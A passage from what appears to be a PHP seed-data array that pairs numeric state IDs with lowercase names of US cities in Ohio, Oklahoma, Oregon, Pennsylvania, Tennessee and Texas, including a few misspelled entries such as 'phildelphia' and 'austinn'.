'mansfield'],\n ['state_id' => '3959', 'name' => 'maple heights'],\n ['state_id' => '3959', 'name' => 'marietta'],\n ['state_id' => '3959', 'name' => 'marion'],\n ['state_id' => '3959', 'name' => 'marysville'],\n ['state_id' => '3959', 'name' => 'mason'],\n ['state_id' => '3959', 'name' => 'massillon'],\n ['state_id' => '3959', 'name' => 'maumee'],\n ['state_id' => '3959', 'name' => 'mayfield heights'],\n ['state_id' => '3959', 'name' => 'medina'],\n ['state_id' => '3959', 'name' => 'mentor'],\n ['state_id' => '3959', 'name' => 'miamisburg'],\n ['state_id' => '3959', 'name' => 'middleburg heights'],\n ['state_id' => '3959', 'name' => 'middletown'],\n ['state_id' => '3959', 'name' => 'milford'],\n ['state_id' => '3959', 'name' => 'millbury'],\n ['state_id' => '3959', 'name' => 'mineral city'],\n ['state_id' => '3959', 'name' => 'minster'],\n ['state_id' => '3959', 'name' => 'mount gilead'],\n ['state_id' => '3959', 'name' => 'mount vernon'],\n ['state_id' => '3959', 'name' => 'nelsonville'],\n ['state_id' => '3959', 'name' => 'new albany'],\n ['state_id' => '3959', 'name' => 'new philadelphia'],\n ['state_id' => '3959', 'name' => 'newark'],\n ['state_id' => '3959', 'name' => 'niles'],\n ['state_id' => '3959', 'name' => 'north canton'],\n ['state_id' => '3959', 'name' => 'north college hill'],\n ['state_id' => '3959', 'name' => 'north lewisburg'],\n ['state_id' => '3959', 'name' => 'north olmsted'],\n ['state_id' => '3959', 'name' => 'north ridgeville'],\n ['state_id' => '3959', 'name' => 'north royalton'],\n ['state_id' => '3959', 'name' => 'northbrook'],\n ['state_id' => '3959', 'name' => 'northfield'],\n ['state_id' => '3959', 'name' => 'northview'],\n ['state_id' => '3959', 'name' => 'norton'],\n ['state_id' => '3959', 'name' => 'norwalk'],\n ['state_id' => '3959', 'name' => 'norwood'],\n ['state_id' => '3959', 'name' => 'oberlin'],\n ['state_id' => '3959', 'name' => 'ohio'],\n ['state_id' => '3959', 'name' => 'oregon'],\n ['state_id' => '3959', 'name' => 'overlook-page manor'],\n ['state_id' => '3959', 'name' => 'oxford'],\n ['state_id' => '3959', 'name' => 'painesville'],\n ['state_id' => '3959', 'name' => 'parma'],\n ['state_id' => '3959', 'name' => 'parma heights'],\n ['state_id' => '3959', 'name' => 'peninsula'],\n ['state_id' => '3959', 'name' => 'perrysburg'],\n ['state_id' => '3959', 'name' => 'pickerington'],\n ['state_id' => '3959', 'name' => 'piqua'],\n ['state_id' => '3959', 'name' => 'portage lakes'],\n ['state_id' => '3959', 'name' => 'portsmouth'],\n ['state_id' => '3959', 'name' => 'powell'],\n ['state_id' => '3959', 'name' => 'ravenna'],\n ['state_id' => '3959', 'name' => 'reading'],\n ['state_id' => '3959', 'name' => 'reynoldsburg'],\n ['state_id' => '3959', 'name' => 'rittman'],\n ['state_id' => '3959', 'name' => 'riverside'],\n ['state_id' => '3959', 'name' => 'rocky river'],\n ['state_id' => '3959', 'name' => 'rossford'],\n ['state_id' => '3959', 'name' => 'salem'],\n ['state_id' => '3959', 'name' => 'sandusky'],\n ['state_id' => '3959', 'name' => 'seven hills'],\n ['state_id' => '3959', 'name' => 'seville'],\n ['state_id' => '3959', 'name' => 'shaker heights'],\n ['state_id' => '3959', 'name' => 'sharonville'],\n ['state_id' => '3959', 'name' => 'sheffield lake'],\n ['state_id' => '3959', 'name' => 'shelby'],\n ['state_id' => '3959', 'name' => 'sidney'],\n ['state_id' => '3959', 'name' => 'solon'],\n ['state_id' => '3959', 'name' => 'south euclid'],\n ['state_id' => '3959', 'name' => 'springdale'],\n ['state_id' => '3959', 'name' => 'springfield'],\n ['state_id' => '3959', 'name' => 'steubenville'],\n ['state_id' => '3959', 'name' => 'stow'],\n ['state_id' => '3959', 'name' => 'streetsboro'],\n ['state_id' => '3959', 'name' => 'strongsville'],\n ['state_id' => '3959', 'name' => 'struthers'],\n ['state_id' => '3959', 'name' => 'sylvania'],\n ['state_id' => '3959', 'name' => 'tallmadge'],\n ['state_id' => '3959', 'name' => 'tiffin'],\n ['state_id' => '3959', 'name' => 'toledo'],\n ['state_id' => '3959', 'name' => 'trotwood'],\n ['state_id' => '3959', 'name' => 'troy'],\n ['state_id' => '3959', 'name' => 'twinsburg'],\n ['state_id' => '3959', 'name' => 'university heights'],\n ['state_id' => '3959', 'name' => 'upper arlington'],\n ['state_id' => '3959', 'name' => 'urbana'],\n ['state_id' => '3959', 'name' => 'valley glen'],\n ['state_id' => '3959', 'name' => 'van wert'],\n ['state_id' => '3959', 'name' => 'vandalia'],\n ['state_id' => '3959', 'name' => 'vermilion'],\n ['state_id' => '3959', 'name' => 'wadsworth'],\n ['state_id' => '3959', 'name' => 'warren'],\n ['state_id' => '3959', 'name' => 'warrensville heights'],\n ['state_id' => '3959', 'name' => 'washington'],\n ['state_id' => '3959', 'name' => 'waverly'],\n ['state_id' => '3959', 'name' => 'west carrollton city'],\n ['state_id' => '3959', 'name' => 'west chester'],\n ['state_id' => '3959', 'name' => 'westerville'],\n ['state_id' => '3959', 'name' => 'westlake'],\n ['state_id' => '3959', 'name' => 'white oak'],\n ['state_id' => '3959', 'name' => 'whitehall'],\n ['state_id' => '3959', 'name' => 'wickliffe'],\n ['state_id' => '3959', 'name' => 'willoughby'],\n ['state_id' => '3959', 'name' => 'willowick'],\n ['state_id' => '3959', 'name' => 'wilmington'],\n ['state_id' => '3959', 'name' => 'winesburg'],\n ['state_id' => '3959', 'name' => 'wooster'],\n ['state_id' => '3959', 'name' => 'worthington'],\n ['state_id' => '3959', 'name' => 'xenia'],\n ['state_id' => '3959', 'name' => 'yellow springs'],\n ['state_id' => '3959', 'name' => 'youngstown'],\n ['state_id' => '3959', 'name' => 'zanesville'],\n ['state_id' => '3960', 'name' => 'ada'],\n ['state_id' => '3960', 'name' => 'altus'],\n ['state_id' => '3960', 'name' => 'ardmore'],\n ['state_id' => '3960', 'name' => 'bartlesville'],\n ['state_id' => '3960', 'name' => 'bethany'],\n ['state_id' => '3960', 'name' => 'bixby'],\n ['state_id' => '3960', 'name' => 'broken arrow'],\n ['state_id' => '3960', 'name' => 'catoosa'],\n ['state_id' => '3960', 'name' => 'chickasha'],\n ['state_id' => '3960', 'name' => 'choctaw'],\n ['state_id' => '3960', 'name' => 'claremore'],\n ['state_id' => '3960', 'name' => 'del city'],\n ['state_id' => '3960', 'name' => 'duncan'],\n ['state_id' => '3960', 'name' => 'durant'],\n ['state_id' => '3960', 'name' => 'edmond'],\n ['state_id' => '3960', 'name' => 'el reno'],\n ['state_id' => '3960', 'name' => 'elk city'],\n ['state_id' => '3960', 'name' => 'enid'],\n ['state_id' => '3960', 'name' => 'fort sill'],\n ['state_id' => '3960', 'name' => 'grove'],\n ['state_id' => '3960', 'name' => 'guthrie'],\n ['state_id' => '3960', 'name' => 'heavener'],\n ['state_id' => '3960', 'name' => 'hugo'],\n ['state_id' => '3960', 'name' => 'lawton'],\n ['state_id' => '3960', 'name' => 'lindsay'],\n ['state_id' => '3960', 'name' => 'macalester'],\n ['state_id' => '3960', 'name' => 'miami'],\n ['state_id' => '3960', 'name' => 'midwest city'],\n ['state_id' => '3960', 'name' => 'moore'],\n ['state_id' => '3960', 'name' => 'morrison'],\n ['state_id' => '3960', 'name' => 'muskogee'],\n ['state_id' => '3960', 'name' => 'mustang'],\n ['state_id' => '3960', 'name' => 'norman'],\n ['state_id' => '3960', 'name' => 'oklahoma city'],\n ['state_id' => '3960', 'name' => 'okmulgee'],\n ['state_id' => '3960', 'name' => 'owasso'],\n ['state_id' => '3960', 'name' => 'pawnee'],\n ['state_id' => '3960', 'name' => 'ponca city'],\n ['state_id' => '3960', 'name' => 'rattan'],\n ['state_id' => '3960', 'name' => 'sand springs'],\n ['state_id' => '3960', 'name' => 'sapulpa'],\n ['state_id' => '3960', 'name' => 'shawnee'],\n ['state_id' => '3960', 'name' => 'stillwater'],\n ['state_id' => '3960', 'name' => 'sulphur'],\n ['state_id' => '3960', 'name' => 'tahlequah'],\n ['state_id' => '3960', 'name' => 'the village'],\n ['state_id' => '3960', 'name' => 'tulsa'],\n ['state_id' => '3960', 'name' => 'weatherford'],\n ['state_id' => '3960', 'name' => 'welch'],\n ['state_id' => '3960', 'name' => 'woodward'],\n ['state_id' => '3960', 'name' => 'yukon'],\n ['state_id' => '3961', 'name' => 'point edward'],\n ['state_id' => '3961', 'name' => 'woodbridge'],\n ['state_id' => '3962', 'name' => 'albany'],\n ['state_id' => '3962', 'name' => 'aloha'],\n ['state_id' => '3962', 'name' => 'altamont'],\n ['state_id' => '3962', 'name' => 'arleta'],\n ['state_id' => '3962', 'name' => 'ashland'],\n ['state_id' => '3962', 'name' => 'astoria'],\n ['state_id' => '3962', 'name' => 'baker city'],\n ['state_id' => '3962', 'name' => 'beaverton'],\n ['state_id' => '3962', 'name' => 'bend'],\n ['state_id' => '3962', 'name' => 'canby'],\n ['state_id' => '3962', 'name' => 'cave junction'],\n ['state_id' => '3962', 'name' => 'cedar hills'],\n ['state_id' => '3962', 'name' => 'cedar mill'],\n ['state_id' => '3962', 'name' => 'central point'],\n ['state_id' => '3962', 'name' => 'city of the dalles'],\n ['state_id' => '3962', 'name' => 'coos bay'],\n ['state_id' => '3962', 'name' => 'corvallis'],\n ['state_id' => '3962', 'name' => 'creswell'],\n ['state_id' => '3962', 'name' => 'dallas'],\n ['state_id' => '3962', 'name' => 'donald'],\n ['state_id' => '3962', 'name' => 'eugene'],\n ['state_id' => '3962', 'name' => 'forest grove'],\n ['state_id' => '3962', 'name' => 'four corners'],\n ['state_id' => '3962', 'name' => 'gladstone'],\n ['state_id' => '3962', 'name' => 'glide'],\n ['state_id' => '3962', 'name' => 'grants pass'],\n ['state_id' => '3962', 'name' => 'gresham'],\n ['state_id' => '3962', 'name' => 'hayesville'],\n ['state_id' => '3962', 'name' => 'hazelwood'],\n ['state_id' => '3962', 'name' => 'hermiston'],\n ['state_id' => '3962', 'name' => 'hillsboro'],\n ['state_id' => '3962', 'name' => 'hood river'],\n ['state_id' => '3962', 'name' => 'hubbard'],\n ['state_id' => '3962', 'name' => 'john day'],\n ['state_id' => '3962', 'name' => 'jordan valley'],\n ['state_id' => '3962', 'name' => 'keizer'],\n ['state_id' => '3962', 'name' => 'klamath falls'],\n ['state_id' => '3962', 'name' => 'la grande'],\n ['state_id' => '3962', 'name' => 'lake oswego'],\n ['state_id' => '3962', 'name' => 'lebanon'],\n ['state_id' => '3962', 'name' => 'lincoln'],\n ['state_id' => '3962', 'name' => 'macminnville'],\n ['state_id' => '3962', 'name' => 'medford'],\n ['state_id' => '3962', 'name' => 'milwaukie'],\n ['state_id' => '3962', 'name' => 'newberg'],\n ['state_id' => '3962', 'name' => 'newport'],\n ['state_id' => '3962', 'name' => 'north bend'],\n ['state_id' => '3962', 'name' => 'obrien'],\n ['state_id' => '3962', 'name' => 'oak grove'],\n ['state_id' => '3962', 'name' => 'oatfield'],\n ['state_id' => '3962', 'name' => 'ontario'],\n ['state_id' => '3962', 'name' => 'oregon city'],\n ['state_id' => '3962', 'name' => 'pendleton'],\n ['state_id' => '3962', 'name' => 'portland'],\n ['state_id' => '3962', 'name' => 'redmond'],\n ['state_id' => '3962', 'name' => 'riddle'],\n ['state_id' => '3962', 'name' => 'river road'],\n ['state_id' => '3962', 'name' => 'roseburg'],\n ['state_id' => '3962', 'name' => 'salem'],\n ['state_id' => '3962', 'name' => 'sherwood'],\n ['state_id' => '3962', 'name' => 'springfield'],\n ['state_id' => '3962', 'name' => 'sublimity'],\n ['state_id' => '3962', 'name' => 'sutherlin'],\n ['state_id' => '3962', 'name' => 'talent'],\n ['state_id' => '3962', 'name' => 'tigard'],\n ['state_id' => '3962', 'name' => 'troutdale'],\n ['state_id' => '3962', 'name' => 'tualatin'],\n ['state_id' => '3962', 'name' => 'turner'],\n ['state_id' => '3962', 'name' => 'vaughn'],\n ['state_id' => '3962', 'name' => 'west linn'],\n ['state_id' => '3962', 'name' => 'wilsonville'],\n ['state_id' => '3962', 'name' => 'woodburn'],\n ['state_id' => '3963', 'name' => 'akron'],\n ['state_id' => '3963', 'name' => 'aliquippa'],\n ['state_id' => '3963', 'name' => 'allentown'],\n ['state_id' => '3963', 'name' => 'altoona'],\n ['state_id' => '3963', 'name' => 'ambler'],\n ['state_id' => '3963', 'name' => 'amityville'],\n ['state_id' => '3963', 'name' => 'ardmore'],\n ['state_id' => '3963', 'name' => 'audubon'],\n ['state_id' => '3963', 'name' => 'back mountain'],\n ['state_id' => '3963', 'name' => 'baldwin'],\n ['state_id' => '3963', 'name' => 'bangor'],\n ['state_id' => '3963', 'name' => 'beaver falls'],\n ['state_id' => '3963', 'name' => 'belle vernon'],\n ['state_id' => '3963', 'name' => 'bensalem'],\n ['state_id' => '3963', 'name' => 'berwick'],\n ['state_id' => '3963', 'name' => 'berwyn'],\n ['state_id' => '3963', 'name' => 'bethel park'],\n ['state_id' => '3963', 'name' => 'bethlehem'],\n ['state_id' => '3963', 'name' => 'bloomsburg'],\n ['state_id' => '3963', 'name' => 'boyertown'],\n ['state_id' => '3963', 'name' => 'bradford'],\n ['state_id' => '3963', 'name' => 'brentwood'],\n ['state_id' => '3963', 'name' => 'bridgeport'],\n ['state_id' => '3963', 'name' => 'bristol'],\n ['state_id' => '3963', 'name' => 'brockway'],\n ['state_id' => '3963', 'name' => 'broomall'],\n ['state_id' => '3963', 'name' => 'bushkill'],\n ['state_id' => '3963', 'name' => 'butler'],\n ['state_id' => '3963', 'name' => 'camp hill'],\n ['state_id' => '3963', 'name' => 'canonsburg'],\n ['state_id' => '3963', 'name' => 'carbondale'],\n ['state_id' => '3963', 'name' => 'carlisle'],\n ['state_id' => '3963', 'name' => 'carnegie'],\n ['state_id' => '3963', 'name' => 'carnot moon'],\n ['state_id' => '3963', 'name' => 'chambersburg'],\n ['state_id' => '3963', 'name' => 'chester'],\n ['state_id' => '3963', 'name' => 'chester springs'],\n ['state_id' => '3963', 'name' => 'clarks summit'],\n ['state_id' => '3963', 'name' => 'coatesville'],\n ['state_id' => '3963', 'name' => 'colonial park'],\n ['state_id' => '3963', 'name' => 'columbia'],\n ['state_id' => '3963', 'name' => 'conshohocken'],\n ['state_id' => '3963', 'name' => 'coraopolis'],\n ['state_id' => '3963', 'name' => 'corry'],\n ['state_id' => '3963', 'name' => 'cranberry township'],\n ['state_id' => '3963', 'name' => 'cresco'],\n ['state_id' => '3963', 'name' => 'croydon'],\n ['state_id' => '3963', 'name' => 'dallas'],\n ['state_id' => '3963', 'name' => 'dallastown'],\n ['state_id' => '3963', 'name' => 'darby'],\n ['state_id' => '3963', 'name' => 'darby township'],\n ['state_id' => '3963', 'name' => 'downingtown'],\n ['state_id' => '3963', 'name' => 'drexel hill'],\n ['state_id' => '3963', 'name' => 'duncansville'],\n ['state_id' => '3963', 'name' => 'dunmore'],\n ['state_id' => '3963', 'name' => 'east norriton'],\n ['state_id' => '3963', 'name' => 'east stroudsburg'],\n ['state_id' => '3963', 'name' => 'easton'],\n ['state_id' => '3963', 'name' => 'economy'],\n ['state_id' => '3963', 'name' => 'edinboro'],\n ['state_id' => '3963', 'name' => 'elizabethtown'],\n ['state_id' => '3963', 'name' => 'elkins park'],\n ['state_id' => '3963', 'name' => 'emmaus'],\n ['state_id' => '3963', 'name' => 'ephrata'],\n ['state_id' => '3963', 'name' => 'erdenheim'],\n ['state_id' => '3963', 'name' => 'erie'],\n ['state_id' => '3963', 'name' => 'erwinna'],\n ['state_id' => '3963', 'name' => 'exton'],\n ['state_id' => '3963', 'name' => 'feasterville'],\n ['state_id' => '3963', 'name' => 'folcroft'],\n ['state_id' => '3963', 'name' => 'franklin'],\n ['state_id' => '3963', 'name' => 'franklin park'],\n ['state_id' => '3963', 'name' => 'frederick'],\n ['state_id' => '3963', 'name' => 'fullerton'],\n ['state_id' => '3963', 'name' => 'furlong'],\n ['state_id' => '3963', 'name' => 'gettysburg'],\n ['state_id' => '3963', 'name' => 'gibsonia'],\n ['state_id' => '3963', 'name' => 'glenside'],\n ['state_id' => '3963', 'name' => 'gordonville'],\n ['state_id' => '3963', 'name' => 'greensburg'],\n ['state_id' => '3963', 'name' => 'gwynedd'],\n ['state_id' => '3963', 'name' => 'hampden township'],\n ['state_id' => '3963', 'name' => 'hanover'],\n ['state_id' => '3963', 'name' => 'harleysville'],\n ['state_id' => '3963', 'name' => 'harrisburg'],\n ['state_id' => '3963', 'name' => 'harrison township'],\n ['state_id' => '3963', 'name' => 'hatboro'],\n ['state_id' => '3963', 'name' => 'haverford'],\n ['state_id' => '3963', 'name' => 'havertown'],\n ['state_id' => '3963', 'name' => 'hazleton'],\n ['state_id' => '3963', 'name' => 'hermitage'],\n ['state_id' => '3963', 'name' => 'hershey'],\n ['state_id' => '3963', 'name' => 'hollidaysburg'],\n ['state_id' => '3963', 'name' => 'horsham'],\n ['state_id' => '3963', 'name' => 'huntingdon valley'],\n ['state_id' => '3963', 'name' => 'indiana'],\n ['state_id' => '3963', 'name' => 'irvine'],\n ['state_id' => '3963', 'name' => 'ivyland'],\n ['state_id' => '3963', 'name' => 'jeannette'],\n ['state_id' => '3963', 'name' => 'jefferson'],\n ['state_id' => '3963', 'name' => 'jenkintown'],\n ['state_id' => '3963', 'name' => 'johnstown'],\n ['state_id' => '3963', 'name' => 'kempton'],\n ['state_id' => '3963', 'name' => 'kennett square'],\n ['state_id' => '3963', 'name' => 'king of prussia'],\n ['state_id' => '3963', 'name' => 'kingston'],\n ['state_id' => '3963', 'name' => 'kutztown'],\n ['state_id' => '3963', 'name' => 'lafayette hill'],\n ['state_id' => '3963', 'name' => 'lancaster'],\n ['state_id' => '3963', 'name' => 'landenberg'],\n ['state_id' => '3963', 'name' => 'langhorne'],\n ['state_id' => '3963', 'name' => 'lansdale'],\n ['state_id' => '3963', 'name' => 'lansdowne'],\n ['state_id' => '3963', 'name' => 'lansford'],\n ['state_id' => '3963', 'name' => 'laurys station'],\n ['state_id' => '3963', 'name' => 'lebanon'],\n ['state_id' => '3963', 'name' => 'lehighton'],\n ['state_id' => '3963', 'name' => 'levittown'],\n ['state_id' => '3963', 'name' => 'lincoln university'],\n ['state_id' => '3963', 'name' => 'linesville'],\n ['state_id' => '3963', 'name' => 'linwood'],\n ['state_id' => '3963', 'name' => 'lower burrell'],\n ['state_id' => '3963', 'name' => 'lower merion'],\n ['state_id' => '3963', 'name' => 'maccandless township'],\n ['state_id' => '3963', 'name' => 'mackeesport'],\n ['state_id' => '3963', 'name' => 'malvern'],\n ['state_id' => '3963', 'name' => 'meadville'],\n ['state_id' => '3963', 'name' => 'mechanicsburg'],\n ['state_id' => '3963', 'name' => 'media'],\n ['state_id' => '3963', 'name' => 'merion station'],\n ['state_id' => '3963', 'name' => 'middleburg'],\n ['state_id' => '3963', 'name' => 'mifflinville'],\n ['state_id' => '3963', 'name' => 'milanville'],\n ['state_id' => '3963', 'name' => 'milford'],\n ['state_id' => '3963', 'name' => 'millersburg'],\n ['state_id' => '3963', 'name' => 'monessen'],\n ['state_id' => '3963', 'name' => 'moscow'],\n ['state_id' => '3963', 'name' => 'mount carmel'],\n ['state_id' => '3963', 'name' => 'mount lebanon'],\n ['state_id' => '3963', 'name' => 'mountville'],\n ['state_id' => '3963', 'name' => 'munhall'],\n ['state_id' => '3963', 'name' => 'municipality of monroeville'],\n ['state_id' => '3963', 'name' => 'municipality of murrysville'],\n ['state_id' => '3963', 'name' => 'n. charleroi'],\n ['state_id' => '3963', 'name' => 'nanticoke'],\n ['state_id' => '3963', 'name' => 'narberth'],\n ['state_id' => '3963', 'name' => 'natrona heights'],\n ['state_id' => '3963', 'name' => 'nazareth'],\n ['state_id' => '3963', 'name' => 'nether providence township'],\n ['state_id' => '3963', 'name' => 'new buffalo'],\n ['state_id' => '3963', 'name' => 'new carlisle'],\n ['state_id' => '3963', 'name' => 'new castle'],\n ['state_id' => '3963', 'name' => 'new cumberland'],\n ['state_id' => '3963', 'name' => 'new hope'],\n ['state_id' => '3963', 'name' => 'new kensington'],\n ['state_id' => '3963', 'name' => 'newton'],\n ['state_id' => '3963', 'name' => 'newtown'],\n ['state_id' => '3963', 'name' => 'newville'],\n ['state_id' => '3963', 'name' => 'norristown'],\n ['state_id' => '3963', 'name' => 'north east'],\n ['state_id' => '3963', 'name' => 'north versailles'],\n ['state_id' => '3963', 'name' => 'north wales'],\n ['state_id' => '3963', 'name' => 'oaks'],\n ['state_id' => '3963', 'name' => 'oil city'],\n ['state_id' => '3963', 'name' => 'olyphant'],\n ['state_id' => '3963', 'name' => 'orrtanna'],\n ['state_id' => '3963', 'name' => 'orwigsburg'],\n ['state_id' => '3963', 'name' => 'oxford'],\n ['state_id' => '3963', 'name' => 'paoli'],\n ['state_id' => '3963', 'name' => 'parksburg'],\n ['state_id' => '3963', 'name' => 'penn hills'],\n ['state_id' => '3963', 'name' => 'philadelphia'],\n ['state_id' => '3963', 'name' => 'phildelphia'],\n ['state_id' => '3963', 'name' => 'phoenixville'],\n ['state_id' => '3963', 'name' => 'pipersville'],\n ['state_id' => '3963', 'name' => 'pittsburgh'],\n ['state_id' => '3963', 'name' => 'pleasantville'],\n ['state_id' => '3963', 'name' => 'plum'],\n ['state_id' => '3963', 'name' => 'pocono summit'],\n ['state_id' => '3963', 'name' => 'pottstown'],\n ['state_id' => '3963', 'name' => 'pottsville'],\n ['state_id' => '3963', 'name' => 'primos'],\n ['state_id' => '3963', 'name' => 'progress'],\n ['state_id' => '3963', 'name' => 'prospect'],\n ['state_id' => '3963', 'name' => 'quakertown'],\n ['state_id' => '3963', 'name' => 'radnor township'],\n ['state_id' => '3963', 'name' => 'reading'],\n ['state_id' => '3963', 'name' => 'robinson township'],\n ['state_id' => '3963', 'name' => 'roseto'],\n ['state_id' => '3963', 'name' => 'ross township'],\n ['state_id' => '3963', 'name' => 'royersford'],\n ['state_id' => '3963', 'name' => 'saint marys'],\n ['state_id' => '3963', 'name' => 'sarver'],\n ['state_id' => '3963', 'name' => 'saxonburg'],\n ['state_id' => '3963', 'name' => 'scott township'],\n ['state_id' => '3963', 'name' => 'scranton'],\n ['state_id' => '3963', 'name' => 'seward'],\n ['state_id' => '3963', 'name' => 'sewickley'],\n ['state_id' => '3963', 'name' => 'shaler township'],\n ['state_id' => '3963', 'name' => 'sharon'],\n ['state_id' => '3963', 'name' => 'shermans dale'],\n ['state_id' => '3963', 'name' => 'somerset'],\n ['state_id' => '3963', 'name' => 'souderton'],\n ['state_id' => '3963', 'name' => 'south park township'],\n ['state_id' => '3963', 'name' => 'southampton'],\n ['state_id' => '3963', 'name' => 'springfield'],\n ['state_id' => '3963', 'name' => 'state college'],\n ['state_id' => '3963', 'name' => 'strasburg'],\n ['state_id' => '3963', 'name' => 'sunbury'],\n ['state_id' => '3963', 'name' => 'susquehanna'],\n ['state_id' => '3963', 'name' => 'swissvale'],\n ['state_id' => '3963', 'name' => 'tamaqua'],\n ['state_id' => '3963', 'name' => 'taylor'],\n ['state_id' => '3963', 'name' => 'telford'],\n ['state_id' => '3963', 'name' => 'trevose'],\n ['state_id' => '3963', 'name' => 'turtle creek'],\n ['state_id' => '3963', 'name' => 'tyrone'],\n ['state_id' => '3963', 'name' => 'uniontown'],\n ['state_id' => '3963', 'name' => 'upper darby'],\n ['state_id' => '3963', 'name' => 'upper providence township'],\n ['state_id' => '3963', 'name' => 'upper saint clair'],\n ['state_id' => '3963', 'name' => 'vanderbilt'],\n ['state_id' => '3963', 'name' => 'warminster'],\n ['state_id' => '3963', 'name' => 'warren'],\n ['state_id' => '3963', 'name' => 'warrendale'],\n ['state_id' => '3963', 'name' => 'washington'],\n ['state_id' => '3963', 'name' => 'waterford'],\n ['state_id' => '3963', 'name' => 'waverly'],\n ['state_id' => '3963', 'name' => 'wayne'],\n ['state_id' => '3963', 'name' => 'waynesboro'],\n ['state_id' => '3963', 'name' => 'west chester'],\n ['state_id' => '3963', 'name' => 'west mifflin'],\n ['state_id' => '3963', 'name' => 'west norriton'],\n ['state_id' => '3963', 'name' => 'west point'],\n ['state_id' => '3963', 'name' => 'wexford'],\n ['state_id' => '3963', 'name' => 'whitehall'],\n ['state_id' => '3963', 'name' => 'wilcox'],\n ['state_id' => '3963', 'name' => 'wilkes-barre'],\n ['state_id' => '3963', 'name' => 'wilkinsburg'],\n ['state_id' => '3963', 'name' => 'williamsport'],\n ['state_id' => '3963', 'name' => 'willow grove'],\n ['state_id' => '3963', 'name' => 'womelsdorf'],\n ['state_id' => '3963', 'name' => 'woodlyn'],\n ['state_id' => '3963', 'name' => 'woolrich'],\n ['state_id' => '3963', 'name' => 'wyncote'],\n ['state_id' => '3963', 'name' => 'wyndmoor'],\n ['state_id' => '3963', 'name' => 'wynnewood'],\n ['state_id' => '3963', 'name' => 'yardley'],\n ['state_id' => '3963', 'name' => 'yeadon'],\n ['state_id' => '3963', 'name' => 'york'],\n ['state_id' => '3964', 'name' => 'ramey'],\n ['state_id' => '3969', 'name' => 'adamsville'],\n ['state_id' => '3969', 'name' => 'alcoa'],\n ['state_id' => '3969', 'name' => 'antioch'],\n ['state_id' => '3969', 'name' => 'arlington'],\n ['state_id' => '3969', 'name' => 'athens'],\n ['state_id' => '3969', 'name' => 'bartlett'],\n ['state_id' => '3969', 'name' => 'bell buckle'],\n ['state_id' => '3969', 'name' => 'bloomingdale'],\n ['state_id' => '3969', 'name' => 'blountville'],\n ['state_id' => '3969', 'name' => 'brentwood'],\n ['state_id' => '3969', 'name' => 'bristol'],\n ['state_id' => '3969', 'name' => 'brownsville'],\n ['state_id' => '3969', 'name' => 'burns'],\n ['state_id' => '3969', 'name' => 'chattanooga'],\n ['state_id' => '3969', 'name' => 'clarksville'],\n ['state_id' => '3969', 'name' => 'cleveland'],\n ['state_id' => '3969', 'name' => 'collierville'],\n ['state_id' => '3969', 'name' => 'columbia'],\n ['state_id' => '3969', 'name' => 'cookeville'],\n ['state_id' => '3969', 'name' => 'cornersville'],\n ['state_id' => '3969', 'name' => 'crossville'],\n ['state_id' => '3969', 'name' => 'dayton'],\n ['state_id' => '3969', 'name' => 'dickson'],\n ['state_id' => '3969', 'name' => 'dyersburg'],\n ['state_id' => '3969', 'name' => 'east brainerd'],\n ['state_id' => '3969', 'name' => 'east ridge'],\n ['state_id' => '3969', 'name' => 'elizabethton'],\n ['state_id' => '3969', 'name' => 'farragut'],\n ['state_id' => '3969', 'name' => 'franklin'],\n ['state_id' => '3969', 'name' => 'gainesboro'],\n ['state_id' => '3969', 'name' => 'gallatin'],\n ['state_id' => '3969', 'name' => 'gatlinburg'],\n ['state_id' => '3969', 'name' => 'germantown'],\n ['state_id' => '3969', 'name' => 'goodlettsville'],\n ['state_id' => '3969', 'name' => 'greeneville'],\n ['state_id' => '3969', 'name' => 'hendersonville'],\n ['state_id' => '3969', 'name' => 'hixson'],\n ['state_id' => '3969', 'name' => 'jackson'],\n ['state_id' => '3969', 'name' => 'johnson city'],\n ['state_id' => '3969', 'name' => 'kingsport'],\n ['state_id' => '3969', 'name' => 'knoxville'],\n ['state_id' => '3969', 'name' => 'kodak'],\n ['state_id' => '3969', 'name' => 'la vergne'],\n ['state_id' => '3969', 'name' => 'lawrenceburg'],\n ['state_id' => '3969', 'name' => 'lebanon'],\n ['state_id' => '3969', 'name' => 'lenoir city'],\n ['state_id' => '3969', 'name' => 'lewisburg'],\n ['state_id' => '3969', 'name' => 'macminnville'],\n ['state_id' => '3969', 'name' => 'maryville'],\n ['state_id' => '3969', 'name' => 'memphis'],\n ['state_id' => '3969', 'name' => 'middle valley'],\n ['state_id' => '3969', 'name' => 'millington'],\n ['state_id' => '3969', 'name' => 'morristown'],\n ['state_id' => '3969', 'name' => 'mulberry'],\n ['state_id' => '3969', 'name' => 'murfreesboro'],\n ['state_id' => '3969', 'name' => 'nashville'],\n ['state_id' => '3969', 'name' => 'oak ridge'],\n ['state_id' => '3969', 'name' => 'ooltewah'],\n ['state_id' => '3969', 'name' => 'pinson'],\n ['state_id' => '3969', 'name' => 'red bank'],\n ['state_id' => '3969', 'name' => 'selmer'],\n ['state_id' => '3969', 'name' => 'sevierville'],\n ['state_id' => '3969', 'name' => 'shelbyville'],\n ['state_id' => '3969', 'name' => 'smithville'],\n ['state_id' => '3969', 'name' => 'smyrna'],\n ['state_id' => '3969', 'name' => 'spring city'],\n ['state_id' => '3969', 'name' => 'springfield'],\n ['state_id' => '3969', 'name' => 'tazewell'],\n ['state_id' => '3969', 'name' => 'trenton'],\n ['state_id' => '3969', 'name' => 'tullahoma'],\n ['state_id' => '3969', 'name' => 'union city'],\n ['state_id' => '3970', 'name' => 'abilene'],\n ['state_id' => '3970', 'name' => 'addison'],\n ['state_id' => '3970', 'name' => 'alamo'],\n ['state_id' => '3970', 'name' => 'aldine'],\n ['state_id' => '3970', 'name' => 'alice'],\n ['state_id' => '3970', 'name' => 'allen'],\n ['state_id' => '3970', 'name' => 'alvin'],\n ['state_id' => '3970', 'name' => 'amarillo'],\n ['state_id' => '3970', 'name' => 'anderson mill'],\n ['state_id' => '3970', 'name' => 'andrews'],\n ['state_id' => '3970', 'name' => 'angleton'],\n ['state_id' => '3970', 'name' => 'argyle'],\n ['state_id' => '3970', 'name' => 'arlington'],\n ['state_id' => '3970', 'name' => 'aspermont'],\n ['state_id' => '3970', 'name' => 'atascocita'],\n ['state_id' => '3970', 'name' => 'athens'],\n ['state_id' => '3970', 'name' => 'austin'],\n ['state_id' => '3970', 'name' => 'austinn'],\n ['state_id' => '3970', 'name' => 'azle'],\n ['state_id' => '3970', 'name' => 'balch springs'],\n ['state_id' => '3970', 'name' => 'barry'],\n ['state_id' => '3970', 'name' => 'bay city'],\n ['state_id' => '3970', 'name' => 'baytown'],\n ['state_id' => '3970', 'name' => 'beaumont'],\n 